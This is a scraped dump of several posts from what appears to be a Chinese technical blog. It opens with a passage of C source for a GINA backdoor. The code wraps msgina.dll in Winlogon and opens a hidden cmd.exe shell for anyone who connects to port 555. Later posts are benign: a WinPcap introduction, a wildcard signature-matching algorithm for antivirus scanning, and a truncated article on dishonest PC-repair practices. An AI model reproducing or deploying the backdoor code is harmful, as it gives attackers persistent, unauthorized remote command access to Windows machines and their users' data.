!pWlxInitialize ) return FALSE;\n//初始化windows socket的WS2_32.DLL\nWSADATA WSAData;\nif (WSAStartup(MAKEWORD(2,2), \u0026amp;WSAData)!=0)\nreturn FALSE;\n//同上往下调用\nreturn pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,\npWlxContext );\n}\n//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数\nint WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,\nPLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,\nPHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,\nPVOID *pProfile)\n{\nHINSTANCE hDll=NULL;\nif( !(hDll = LoadLibrary( \u0026quot;msgina.dll\u0026quot; )) )\nreturn FALSE;\nPFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, \u0026quot;WlxLoggedOutSAS\u0026quot; );\nif( !pWlxLoggedOutSAS ) return FALSE;\nHANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE); //后门的主线程开始\nCreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);\nReleaseMutex(hmutex);\nCloseHandle(hmutex);\n//调用下层的WlxLoggedOutSAS\nint ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );\nreturn ret;\n}\n//StartInit线程\nDWORD WINAPI StartInit(PVOID lp)\n{\nSOCKET sock=NULL;\n//建立一个TCP SOCKET\nsock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);\nSOCKADDR_IN addr_in = {0};\naddr_in.sin_family = AF_INET;\naddr_in.sin_port = htons(555); //端口号，可以自己改\naddr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);\n//绑定到555端口\nif(bind(sock,(sockaddr *)\u0026amp;addr_in,sizeof(sockaddr))==SOCKET_ERROR)\nreturn 1;\n//侦听\nlisten(sock,1);\nsockaddr_in sin={0};\nint size = sizeof(sin);\nwhile ( TRUE )\n{\n//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞\n//在一个连接断开后又返回等待另外的连接\nSOCKET recvSock=accept(sock,(sockaddr *)\u0026amp;sin,\u0026amp;size);\nif ( recvSock == INVALID_SOCKET ) {\nSleep(1000);\ncontinue;\n}\nHANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象\nWaitForSingleObject(hmutex,INFINITE);\n//创建后门\nHANDLE hThread = CreateThread(NULL,NULL,BackDoor,\u0026amp;recvSock,0,NULL);\nReleaseMutex(hmutex);\nCloseHandle(hmutex);\n//等待BackDoor线程结束。\nWaitForSingleObject(hThread,INFINITE);\nbExit = FALSE;\n}\nreturn 1;\n}\n//BackDoor线程\nDWORD WINAPI BackDoor (LPVOID lp)\n{\n//用来设置管道可被子进程继承\nSECURITY_ATTRIBUTES sa; sa.bInheritHandle =TRUE;\nsa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL;\n//创建管道\nCreatePipe ( \u0026amp;hSRead, \u0026amp;hStdOut, \u0026amp;sa, 0 );\nCreatePipe ( \u0026amp;hStdInput, \u0026amp;hSWrite, \u0026amp;sa, 0 );\nSTARTUPINFO StartInfor = {0};\nPROCESS_INFORMATION ProInfor = {0};\n//重定向子进程的标准输入输出，为我们刚刚建立好的管道\nStartInfor.cb = sizeof ( STARTUPINFO );\nStartInfor.wShowWindow = SW_HIDE;\nStartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\nStartInfor.hStdOutput = StartInfor.hStdError = hStdOut;\nStartInfor.hStdInput = hStdInput;\n//取得CMD的完整路径\nTCHAR SysDir[MAX_PATH] = {0};\nGetSystemDirectory(SysDir,MAX_PATH);\nif ( SysDir[strlen(SysDir)-1] != \u0026#8216;\\\u0026#8217;)\nstrcat(SysDir,\u0026quot;\\\u0026quot;);\nstrcat(SysDir,\u0026quot;cmd.exe\u0026quot;);\nHANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE);\n//创建CMD子进程\nCreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,\u0026amp;StartInfor,\u0026amp;ProInfor);\nhProcess = ProInfor.hProcess;\n//由于我们不对CMD的出入输出进行操作所以我们可以关闭\nCloseHandle(hStdOut);\nCloseHandle(hStdInput);\nHANDLE hArray[2] = {0};\n//创建一个接收命令线程和一个返回结果的线程\nhArray[0] = CreateThread (NULL,NULL,RecvThread,\u0026amp;sock,NULL,NULL);\nhArray[1] = CreateThread (NULL,NULL,SendThread,\u0026amp;sock,NULL,NULL);\nReleaseMutex(hmutex);\nCloseHandle(hmutex);\n//等待2个线程的结束\nWaitForMultipleObjects(2,hArray,TRUE,INFINITE);\nclosesocket(sock);\nreturn 1;\n}\n//RecvThread 线程\nDWORD WINAPI RecvThread ( LPVOID lp)\n{\nSOCKET sock = *(SOCKET*)lp;\nTCHAR CmdBuf[512] = {0}; //接收命令的Buf\nint num = 0;\nwhile ( TRUE )\n{\nif ( bExit == TRUE )\nreturn 1;\nTCHAR Tbuf[2] = {0};\nint ret = recv(sock, Tbuf, 1, 0); //接收一个字符\nif ( ret == 1 )\n{\nnum++; //接收的字符记数\nstrcat(CmdBuf,Tbuf); //追加到CmdBuf中\nsend(sock,Tbuf,1,0); //回显\nif ( Tbuf[0] == \u0026#8216;n\u0026#8217; ) //如接收到回车\n{\nTCHAR buf[5] = {0};\nDWORD A=0;\n//写到管道中供CMD的标准输入读取\nWriteFile(hSWrite,CmdBuf,num,\u0026amp;A,NULL);\nmemcpy ( buf, CmdBuf, 4);\n//如果是exit命令设置线程结束标志\nint ret = _stricmp (buf,\u0026quot;exit\u0026quot;);\nif ( ret == 0 )\nbExit = TRUE;\nmemset(CmdBuf,0,512);\nnum=0;\n}\n}\nelse\n{ //如果连接中断终止CMD进程\nbExit = TRUE;\nDWORD A=0;\nGetExitCodeProcess(hProcess,\u0026amp;A);\nTerminateProcess(hProcess,A);\n}\n}\nreturn 1;\n}\n//SendThread 线程\nDWORD WINAPI SendThread ( LPVOID lp )\n{\nSOCKET sock = *(SOCKET*)lp;\nTCHAR Buf[512]={0};\nDWORD ReadSize = 0;\nwhile(TRUE)\n{\nif ( bExit == TRUE ) //如果结束标志为真线程返回\nreturn 1;\n//查看管道是否有数据可读\nPeekNamedPipe(hSRead,Buf,512,\u0026amp;ReadSize,NULL,NULL);\n//有就读取 没有就Sleep0.1s再次检查\nif ( ReadSize \u0026gt; 0 )\nReadFile(hSRead,Buf,512,\u0026amp;ReadSize,NULL);\nelse {\nSleep(100);\ncontinue;\n}\n//把从管道读出来的数据发给客户端.\nsend (sock,Buf,ReadSize,0);\nmemset(Buf,0,512);\n}\nreturn 1;\n","title":"自己打造GinaBackDoor"},{"content":"译自WinPcap Developer\u0026#8217;s pack ，3.0 alpha。ps：traffic generators这个名词怎样译？今天上不了国外网，暂时还查不到资料。\ncapture series 是今后陆续要写的系列，包括翻译文档，自己的开发经验，以及去年发现并已修改的Jpcap里的一个大bug（伪首部及检验和）。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\nWinpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程。\n大多数网络应用程序访问网络是通过广泛使用的套接字。这种方法很容易实现网络数据传输，因为操作系统负责底层的细节（比如协议栈，数据流组装等）以及提供了类似于文件读写的函数接口。\n但是有时，简单的方法是不够的。因为一些应用程序需要一个底层环境去直接操纵网络通信。因此需要一个不需要协议栈支持的原始的访问网络的方法。\nwinpcap适用于下面的开发者：\n1.捕获原始数据包。不管这个包是发往本地机，还是其他机器之间的交换包。\n2.在数据包被发送到应用程序之前，通过用户定义的规则过滤。\n3.向网络发送原始数据包。\n4.对网络通信量做出统计。\n这些功能依赖于Win32系统内核中的设备驱动以及一些动态链接库。\nWinpcap提供了一个强大的编程接口，它很容易地在各个操作系统之间进行移植，也很方便程序员进行开发。\n什么样的程序需要使用Winpcap\n很多不同的工具软件使用Winpcap于网络分析，故障排除，网络安全监控等方面。Winpcap特别适用于下面这几个经典领域：\n1。网络及协议分析\n2。网络监控\n3。通信日志记录\n4。traffic generators\n5。用户级别的桥路和路由\n6。网络入侵检测系统（NIDS）\n7。网络扫描\n8。安全工具\nWinpcap有些方面不能做。它不依靠主机的诸如TCP/IP协议去收发数据包。这意味着它不能阻塞，不能处理同一台主机中各程序之间的通信数据。它只能\u0026ldquo;嗅探\u0026rdquo;到物理线路上的数据报。因此它不适用于traffic shapers，QoS调度，以及个人防火墙。\nWinpcap内部结构\nWinpcap是一个Win32平台下用于抓包和分析的系统。包括一个内核级别的packet filter，一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL（Wpcap.dll）500){this.resized=true;this.style.width=500;}\u0026quot;\u0026gt;\n1。 捕获系统要能得到网络上原始传输数据必须绕过协议栈。这就需要一个模快运行于操作系统内核，与网络设备驱动接口直接打交道。这一部分极端依赖系统，也被认 为是一种设备驱动。现有版本有Windows 85，98，ME，NT 4，2000，Xp。这些驱动提供一些如数据包的捕获与发送这些基本功能，还提供一些高级的可编程的过滤系统和监控引擎。过滤系统可以约束只捕获特定的数 据包（比如，只捕获特定主机发送的FTP报文）。监控引擎提供了一种强大但简单的使用机制去获得网络通信的统计荷载数据。\n2。捕获系统要让用户程序使用内核提供的功能必须要有一个编程接口。Winpcap提供了两个不同的库：packet.dll 和wpcap.dll。\npacket.dll提供一个底层的API，通过这个API可直接访问网络设备驱动，而独立于Microsoft OS.\nwpcap.dll是一个高层的强大捕获程序库，与Unix下的libpcap兼容。它独立于下层的网络硬件和操作系统。\n","permalink":"https://hessian.cn/p/519.html","summary":"译自WinPcap Developer\u0026#8217;s pack ，3.0 alpha。ps：traffic generators这个名词怎样译？今天上不了国外网，暂时还查不到资料。\ncapture series 是今后陆续要写的系列，包括翻译文档，自己的开发经验，以及去年发现并已修改的Jpcap里的一个大bug（伪首部及检验和）。\n","title":"Winpcap简介"},{"content":"特征码扫描技术是反病毒技术中的常规武器，虽然特征码扫描技术有着一定的局限性，但是，改进的基于特征码扫描技术的广 谱特征串过滤技术却有着无比的优越性和广阔的应用前景。但是，无论是上面提到的哪种技术，最终都难以逃脱扫描算法的效率要求。而学过《数据结构》的读者应 该知道一种快速的字符串扫描算法叫做\u0026ldquo;模式匹配算法\u0026rdquo;，这种算法可以对字符串进行快速扫描。但是，深入进去就会发现，我们的特征码扫描算法中经常会用到通 配符，如：%和*（这里我令%匹配一个字符，*匹配32个字符），对于这样一些非常规的串，没有现成的算法可以引用。笔者在做防治木马技术的研究中，对常 规的模式匹配算法进行了改进，写出了如下的快速查找算法，暂且命名为\u0026ldquo;半回溯的模式匹配算法\u0026rdquo;，以与常规的\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;区别。\n这里，我之所以称之为\u0026ldquo;半回溯\u0026rdquo;，就是因为在对通配符进行匹配时要进行适当的回溯，以减少因为采用通配符所带来的过长推进，虽然这是一种带有回溯的算法， 但是实际上它的效率并不比\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;低多少，其对算法的效率不能构成真正的威胁。这个算法比较抽象，如果没有基础的读者最好先回头看一下 《数据结构》的教材中的\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;，会对您接下来对算法的理解产生很大的帮助。光说不练，不是好汉，下面我们就开始艰辛而又刺激的模式匹配 算法之旅。\n对于\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;，我不想做过多的说明，因为相关书籍上已经说得够明白了。下面，我们一起来看一下带通配符的半回溯的匹配算法（用%号匹配一个字符，用*匹配32个字符）：\n1.[初始化]\ni=1; j=1;\ncounter1=0; counter2=0;\n2.[利用next[i]反复进行比较，直到i等于m+1]\n循环 当i\u0026lt;=m且j\u0026lt;=n时，反复执行\n若（p[i]!=\u0026rsquo;*\u0026rsquo;且p[i]==t[j]）\n则i=i+1; j=j+1; 否则若p[i]==\u0026rsquo;%\u0026rsquo;\n则 i=i+1; j=j+1; counter1=counter1+1;\n否则若p[i]==\u0026rsquo;*\u0026rsquo;\n则i=i+1; j=j+32; counter2=counter2+1;\n否则若next[i]\u0026gt;0\n则i=next[i] j=j \u0026#8211; (counter1+counter2*32);counter1=0;counter2=0;\n否则\ni=1; j=j \u0026#8211; (counter1+counter2*32);j++;counter1=0;counter2=0;\n其中，counter1是用来统计%的个数，而counter2用来统计*的个数，其中m是子串的长度，n是被搜索串的长度。每次碰到子串中有%的时候就 自动将counter1加一，若是碰到counter2就自动将counter2加一。i用来指明子串的当前的比较的位置，而j用来指明被搜索串当前比较 的位置，如果一旦子串与被搜索串不能满足搜索条件，就要将被搜索串的比较位置进行回溯，以回到被通配符漏过的字符的个数，以便重新匹配。\n这里，涉及到了与\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;中相同的要使用的Next数组，其中，Next数组的计算方法如下：\n1.[初始化]\nj=0; i=1;\nnext[1]=0;\n2.[反复比较计算next[i+1]\n循环 当i\u0026lt;m时，反复执行\n(1)[找出p1p2\u0026hellip;pi中最大的相同的前缀和后缀，并将长度送j]\n循环 当j\u0026gt;0且p[i]!=p[j] 且p[i]!=\u0026rsquo;%\u0026rsquo;且p[j]!=\u0026rsquo;%\u0026rsquo;时，反复执行\nj=next[j]\n(2)[计数器加1]\ni=i+1; j=j+1;\n(3)[计算next[i]]\n若p[i]==p[j]或p[i]==\u0026rsquo;%\u0026rsquo;或p[j]==\u0026rsquo;%\u0026rsquo;\n则next[i]=next[j];\n否则next[i]=j;\nNext数组的计算方法，与\u0026ldquo;无回溯匹配算法\u0026rdquo;稍有不同，因为%用来匹配一个字符，所以对于%的处理，可以看作比较的字符相等的情况来处理，而对*的比较，无论如何一个字符都不可能与一个32字符的字符串相等，所以对于*始终认为不相等。\n这个算法的描述，无论我作何解释，读者总会感觉到有一些抽象，而难于真正理解。下面，笔者写了一个简单的程序，来对这个算法进行测试，希望对您会有所帮 助。这个程序是在VC6.0的控制台下运行的，非常简单，基本上就上将以上的算法翻译成了C++语言。源程序可以在附书光盘中找到，名称为\u0026ldquo;带通配符的无 回溯模式匹配算法源程序\u0026rdquo;。\n在这个程序中，首先就是要建立一个子串和被搜索串，并确定算法中提到的m和n的值，如下所示。\n//被搜索的串\nchar* t=\u0026quot;nihaoaxishanchangshanchangaoyejiehhe*%dfisd%shanchashanchanghongioejw\u0026quot;;\n//子串\nchar* p=\u0026quot;shanchang%*%hong\u0026quot;;\n//next数组中元素的个数等于子串的长度\nint next[16];\nint i,j;\n//initialize variable\nj=0;i=1;next[0]=0;\n接下来，要计算next数组的值，对上面的算法进行翻译，得到如下代码。\n//计算next数组的循环\nwhile(i\u0026lt;16)\n{\nwhile(j\u0026gt;0\u0026amp;\u0026amp;p[i-1]!=p[j-1]\u0026amp;\u0026amp;p[i-1]!=\u0026#8217;%\u0026#8217;\u0026amp;\u0026amp;p[j-1]!=\u0026#8217;%\u0026#8217;)\nj=next[j-1];\ni++;\nj++;\nif(p[i-1]==p[j-1]||p[i-1]==\u0026#8217;%\u0026#8217;||p[j-1]==\u0026#8217;%\u0026#8217;)\nnext[i-1]=next[j-1];\nelse\nnext[i-1]=j;\n}\n有了至关重要的next数组之后，就要使用改进了的模式匹配算法，从被搜索串中搜索出子串，代码如下：\n//模式匹配的循环\ni=1;\nj=1;\nint counter1=0,counter2=0;\nwhile(i\u0026lt;=16\u0026amp;\u0026amp;j\u0026lt;=69)\n{\nif(p[i-1]!=\u0026#8217;*\u0026#8217;\u0026amp;\u0026amp;p[i-1]==t[j-1])\n{i++;j++;}\nelse if(p[i-1]==\u0026#8217;%\u0026#8217;)\n{\ni++;\nj++;\ncounter1++;\n}\nelse if (p[i-1]==\u0026#8217;*\u0026#8217;)\n{\ni++;\nj+=32;\ncounter2++;\n}\nelse if (next[i-1]\u0026gt;0)\n{\ni=next[i-1];\nj-=(counter1+counter2*32);\ncounter1=0;\ncounter2=0;\n}\nelse {\ni=1;\nj-=(counter1+counter2*32);\nj++;\ncounter1=0;\ncounter2=0;\n}\n//如果I等于17，说明对子串的搜索已经走到尽头，并搜索到了子串，跳出循环。\nif(i==17) break;\n}\n如果您需要使用这个算法进行特征码的查找，可以直接将其中的计算next数组和模式匹配的部分进行移植。\n到这里，基本上将要说的都说完了，可能您对这个算法还是有一些迷惑，如果您对其的正确性有疑问的话，可以使用上面的程序，对不同的子串和被搜索串进行操 作。另外，如果您对next数组不太了解，还是建议您找出教材来好好看一下。本算法的效率是比较高的，至于它的计算复杂度，我想在这里我就不能做过多的说 明了，有兴趣的读者，或者从事反病毒研究的读者，希望能对你们有一定的帮助，同时，如果有不对的地方，可以在黑防的论坛上面提一下，以期获得改进。\n后记：对于一个真正的程序员来说，其任务决不应该仅仅只是机械地拖拖控件，动动鼠标。更重要的应该是编程开始前的软件的整体安排和设计，而相关算法设计也 应该是非常重要的一部分。对于一个扫描软件来说，其扫描算法的设计也定是其精华所在。本文专门对算法进行相关分析，希望能够对您有所启发。\n","permalink":"https://hessian.cn/p/551.html","summary":"特征码扫描技术是反病毒技术中的常规武器，虽然特征码扫描技术有着一定的局限性，但是，改进的基于特征码扫描技术的广 谱特征串过滤技术却有着无比的优越性和广阔的应用前景。但是，无论是上面提到的哪种技术，最终都难以逃脱扫描算法的效率要求。而学过《数据结构》的读者应 该知道一种快速的字符串扫描算法叫做\u0026ldquo;模式匹配算法\u0026rdquo;，这种算法可以对字符串进行快速扫描。但是，深入进去就会发现，我们的特征码扫描算法中经常会用到通 配符，如：%和*（这里我令%匹配一个字符，*匹配32个字符），对于这样一些非常规的串，没有现成的算法可以引用。笔者在做防治木马技术的研究中，对常 规的模式匹配算法进行了改进，写出了如下的快速查找算法，暂且命名为\u0026ldquo;半回溯的模式匹配算法\u0026rdquo;，以与常规的\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;区别。\n这里，我之所以称之为\u0026ldquo;半回溯\u0026rdquo;，就是因为在对通配符进行匹配时要进行适当的回溯，以减少因为采用通配符所带来的过长推进，虽然这是一种带有回溯的算法， 但是实际上它的效率并不比\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;低多少，其对算法的效率不能构成真正的威胁。这个算法比较抽象，如果没有基础的读者最好先回头看一下 《数据结构》的教材中的\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;，会对您接下来对算法的理解产生很大的帮助。光说不练，不是好汉，下面我们就开始艰辛而又刺激的模式匹配 算法之旅。\n对于\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;，我不想做过多的说明，因为相关书籍上已经说得够明白了。下面，我们一起来看一下带通配符的半回溯的匹配算法（用%号匹配一个字符，用*匹配32个字符）：\n1.[初始化]\ni=1; j=1;\ncounter1=0; counter2=0;\n2.[利用next[i]反复进行比较，直到i等于m+1]\n循环 当i\u0026lt;=m且j\u0026lt;=n时，反复执行\n若（p[i]!=\u0026rsquo;*\u0026rsquo;且p[i]==t[j]）\n则i=i+1; j=j+1; 否则若p[i]==\u0026rsquo;%\u0026rsquo;\n则 i=i+1; j=j+1; counter1=counter1+1;\n否则若p[i]==\u0026rsquo;*\u0026rsquo;\n则i=i+1; j=j+32; counter2=counter2+1;\n否则若next[i]\u0026gt;0\n则i=next[i] j=j \u0026#8211; (counter1+counter2*32);counter1=0;counter2=0;\n否则\ni=1; j=j \u0026#8211; (counter1+counter2*32);j++;counter1=0;counter2=0;\n其中，counter1是用来统计%的个数，而counter2用来统计*的个数，其中m是子串的长度，n是被搜索串的长度。每次碰到子串中有%的时候就 自动将counter1加一，若是碰到counter2就自动将counter2加一。i用来指明子串的当前的比较的位置，而j用来指明被搜索串当前比较 的位置，如果一旦子串与被搜索串不能满足搜索条件，就要将被搜索串的比较位置进行回溯，以回到被通配符漏过的字符的个数，以便重新匹配。\n这里，涉及到了与\u0026ldquo;无回溯的模式匹配算法\u0026rdquo;中相同的要使用的Next数组，其中，Next数组的计算方法如下：\n1.[初始化]\nj=0; i=1;\nnext[1]=0;\n2.[反复比较计算next[i+1]\n循环 当i\u0026lt;m时，反复执行\n(1)[找出p1p2\u0026hellip;pi中最大的相同的前缀和后缀，并将长度送j]\n循环 当j\u0026gt;0且p[i]!=p[j] 且p[i]!=\u0026rsquo;%\u0026rsquo;且p[j]!=\u0026rsquo;%\u0026rsquo;时，反复执行\nj=next[j]\n(2)[计数器加1]\ni=i+1; j=j+1;\n(3)[计算next[i]]\n若p[i]==p[j]或p[i]==\u0026rsquo;%\u0026rsquo;或p[j]==\u0026rsquo;%\u0026rsquo;\n则next[i]=next[j];\n否则next[i]=j;\nNext数组的计算方法，与\u0026ldquo;无回溯匹配算法\u0026rdquo;稍有不同，因为%用来匹配一个字符，所以对于%的处理，可以看作比较的字符相等的情况来处理，而对*的比较，无论如何一个字符都不可能与一个32字符的字符串相等，所以对于*始终认为不相等。\n这个算法的描述，无论我作何解释，读者总会感觉到有一些抽象，而难于真正理解。下面，笔者写了一个简单的程序，来对这个算法进行测试，希望对您会有所帮 助。这个程序是在VC6.0的控制台下运行的，非常简单，基本上就上将以上的算法翻译成了C++语言。源程序可以在附书光盘中找到，名称为\u0026ldquo;带通配符的无 回溯模式匹配算法源程序\u0026rdquo;。\n在这个程序中，首先就是要建立一个子串和被搜索串，并确定算法中提到的m和n的值，如下所示。\n//被搜索的串\nchar* t=\u0026quot;nihaoaxishanchangshanchangaoyejiehhe*%dfisd%shanchashanchanghongioejw\u0026quot;;\n//子串\nchar* p=\u0026quot;shanchang%*%hong\u0026quot;;\n//next数组中元素的个数等于子串的长度\nint next[16];\nint i,j;\n//initialize variable\nj=0;i=1;next[0]=0;\n接下来，要计算next数组的值，对上面的算法进行翻译，得到如下代码。\n//计算next数组的循环\nwhile(i\u0026lt;16)\n{\nwhile(j\u0026gt;0\u0026amp;\u0026amp;p[i-1]!=p[j-1]\u0026amp;\u0026amp;p[i-1]!=\u0026#8217;%\u0026#8217;\u0026amp;\u0026amp;p[j-1]!=\u0026#8217;%\u0026#8217;)\nj=next[j-1];\ni++;\nj++;\nif(p[i-1]==p[j-1]||p[i-1]==\u0026#8217;%\u0026#8217;||p[j-1]==\u0026#8217;%\u0026#8217;)\nnext[i-1]=next[j-1];\nelse\nnext[i-1]=j;\n}\n有了至关重要的next数组之后，就要使用改进了的模式匹配算法，从被搜索串中搜索出子串，代码如下：\n//模式匹配的循环\ni=1;\nj=1;\nint counter1=0,counter2=0;\nwhile(i\u0026lt;=16\u0026amp;\u0026amp;j\u0026lt;=69)\n{\nif(p[i-1]!=\u0026#8217;*\u0026#8217;\u0026amp;\u0026amp;p[i-1]==t[j-1])\n{i++;j++;}\nelse if(p[i-1]==\u0026#8217;%\u0026#8217;)\n{\ni++;\nj++;\ncounter1++;\n}\nelse if (p[i-1]==\u0026#8217;*\u0026#8217;)\n{\ni++;\nj+=32;\ncounter2++;\n}\nelse if (next[i-1]\u0026gt;0)\n{\ni=next[i-1];\nj-=(counter1+counter2*32);\ncounter1=0;\ncounter2=0;\n}\nelse {\ni=1;\nj-=(counter1+counter2*32);\nj++;\ncounter1=0;\ncounter2=0;\n}\n//如果I等于17，说明对子串的搜索已经走到尽头，并搜索到了子串，跳出循环。\nif(i==17) break;\n}\n如果您需要使用这个算法进行特征码的查找，可以直接将其中的计算next数组和模式匹配的部分进行移植。\n到这里，基本上将要说的都说完了，可能您对这个算法还是有一些迷惑，如果您对其的正确性有疑问的话，可以使用上面的程序，对不同的子串和被搜索串进行操 作。另外，如果您对next数组不太了解，还是建议您找出教材来好好看一下。本算法的效率是比较高的，至于它的计算复杂度，我想在这里我就不能做过多的说 明了，有兴趣的读者，或者从事反病毒研究的读者，希望能对你们有一定的帮助，同时，如果有不对的地方，可以在黑防的论坛上面提一下，以期获得改进。\n后记：对于一个真正的程序员来说，其任务决不应该仅仅只是机械地拖拖控件，动动鼠标。更重要的应该是编程开始前的软件的整体安排和设计，而相关算法设计也 应该是非常重要的一部分。对于一个扫描软件来说，其扫描算法的设计也定是其精华所在。本文专门对算法进行相关分析，希望能够对您有所启发。\n","title":"杀毒软件编程精华——特征码扫描技术"},{"content":"电脑维修是一个很专业的行业，也正因为专业和普通人难以了解，因此存在着一些惊人的内幕和令人难以想象的行业灰色甚至是黑 色操作，当然，绝大多数维修业者都是勤恳专业遵纪守法的，但有极少数维修企业或者个人、作坊，他们的行为是我们不了解内情的局外人初看起来无法理解的。 \u0026nbsp;\u0026nbsp;计算机的主板和显卡，作为电子电路行业中的高精尖领域，其制造和维修的技能、设备和方法 专业性都很强，普通人不要说掌握，就算眼睁睁看到了，也未必能了解维修人员在干什么。大家可以拿电视、影碟机或者是音响内的电路板，去和电脑主板、显卡比 较一下，就会发现电脑的板卡要精密得多。\u0026nbsp;\u0026nbsp;电脑板卡通常是4层板、6层板甚至是8层板，上 面的布线密密麻麻，大量体积极小的贴片元件和高集成度芯片占绝对主导地位，只有各个重要核心部件比如CPU、GPU的供电模块才会用到直立元件。一块典型 的主板在其30厘米*20厘米的表面上会有1000多个各种零件，而其中某些零件（比如集成显示核心的北桥芯片）一个零件就集成了几千万个晶体管！这些在 主板和显卡上面司空见惯的景象，在其他产品，比如家电产品和工业用嵌入式设备的电路板上是难以看到的。\u0026nbsp;\u0026nbsp;我 上大学的时候还做过充电器，电路板都是自己画自己泡的，我记得上面还有个分立元件的桥式电路，跟现在的电脑板卡比起来真是笑掉大牙了。哈哈。这么说吧，电 脑的庞大规模和飞速发展造成了电脑板卡的高度专业化和复杂化，而这一点又造成了电脑零部件制造和维修的专业性和复杂性，从而在产业化的大潮中，为各种灰色 现象提供了温床。\u0026nbsp;\u0026nbsp;[常见三种维修企业形式] 电脑维修企业一般分为三种类型\n[厂商售后服务部门]第 一种是厂家或全国代理商自己开办的维修售后服务部，专门为自己的产品提供维修，不是自己的产品不接或者很少接，这通常都是大厂和很大的全国代理开设的。特 点是维修人员比较精通本职，但通常不是学识渊博的全能人才，维修点产品资料、备件都很齐备，保修期内产品占了工作量的大部分，因为维修人员大部分以工资为 主，所以黑暗现象少。这类维修点的问题一是一般都在很偏远的工业区，当然可以通过购买的经销 渠道去返修，但时间会比较长；二是超过保修期和不在保修范围内比如烧损、硬损的产品维修费比较贵。这是因为，有很多厂家对外的维修中心并不真正维修，只能 叫备件更换中心，主要的任务就是把有问题的配件换下来返回到真正板卡生产厂家去维修，他自身并没有维修设备，也没有芯片级的维修工程师，所以保修还好，只 要花钱修就会很贵，一个爆浆电容也敢收几千给换个主板。\n[授权专业维修中心]\n第 二种是大型的专门维修企业，这一类通常同时是某个或者某些厂家签约的特约维修中心，这些厂家自己不建对外售后服务部门，委托给专业企业来做，比如IBM笔 记本的维修通道蓝色快车。这类维修企业有很多特点跟第一类相似，比较正规，除了做厂家维修点外，同时也接其他产品，技术比较可靠，产品资料、备件都齐全， 缺点和第一类相同，只要花钱修就比较贵。\n我家里的苹果ibook笔记本坏了送到特约维修中心，他们同时还做HP、Compaq等笔记本的维修，维 修人员跟我说我这个需要换主板，如果不在保修期内，换一块主板要将近七千元。我的天！我买这二手ibook还不到七千的一半呢！更奇怪的是维修人员告诉 我，修的话是免费，如果不修就要交85元的检测费，这是因为这类企业在修保修期内的产品虽然不从客户收费，但他们要从签约厂家收钱，如果客户不修，那他们 就没法从厂家收费了。\n[个人维修商户]第 三种是散布在中关村内各个地方数量众多良莠不齐精华与糟粕并存的私人维修企业。这类企业通常都是在厂家或者特约维修做的时间长技术高的资深维修工程师，为 了多挣钱，自立门户出来创办的，因此公平的说虽然大型维修店都很专业，但技术最精湛水平最高的维修师傅往往在私人维修点。同时，私人维修点主要靠修水货和 过保、保外产品，它们的运营成本最低，操作方式最灵活（除非是黑心维修店，否则绝对不会为了一个电容换主板），维修价格最便宜，有的时候要比前两类低非常 多，这就是为什么私人维修点大江南北如火如荼这么红火的缘故。但是，因为私人维修点都是为了 挣钱，而且挣的都是专业基础差的最终用户的钱（相对而言，第二类企业主要利润来自签约厂家，而厂家是非常懂行的；至于第一类企业，则几乎没有利润需求）， 所以各种不正规和丑恶现象也都会看到。当然，这并不是说前两类企业就没这方面的问题，只是出现机会少。\n[变废为\u0026ldquo;宝\u0026rdquo;]\n在中关村的中海等市场经常能看到卖废CPU、内存、硬盘等配件的柜台或个人，对，就是废件，是完全不能用的。比如一个坏的P4 CPU要卖到100多块钱，一个坏的主流容量的硬盘也要卖100元左右，其他坏显卡坏内存等等也各有其价格。谁会买废件呢？买了又有什么用呢？\n可 是如果去这些柜台观察一天，就会发现这些废件，偏偏就有人买，这是为什么？当一个电脑用户的主机坏掉了，故障现象正好是黑屏，电脑根本点不亮，而急于修好 电脑的用户又在不知不觉中，把电脑搬到了一个无良的维修点，那么他就要当心了。很多黑屏故障都是因为接触不良或者是电源线、插座坏掉，更严重一些的是电脑 内的电源坏了（我们知道电源是比较便宜的配件），所有这些情况加起来占了黑屏现象的一大部分，而在这些情况下，电脑内部有价值的零部件都是完全没有问题 的，这样就使得维修点没钱可赚，正规来办只能收取一个手工费；这个时候黑心的维修点就会使出一招黑手（不妨叫做狸猫换太子），把电脑上值钱的好的配件取下 来，换上一些坏掉的，反正搬来的时候就黑屏。维修人只要告诉用户说，您的电脑烧了，很多东西 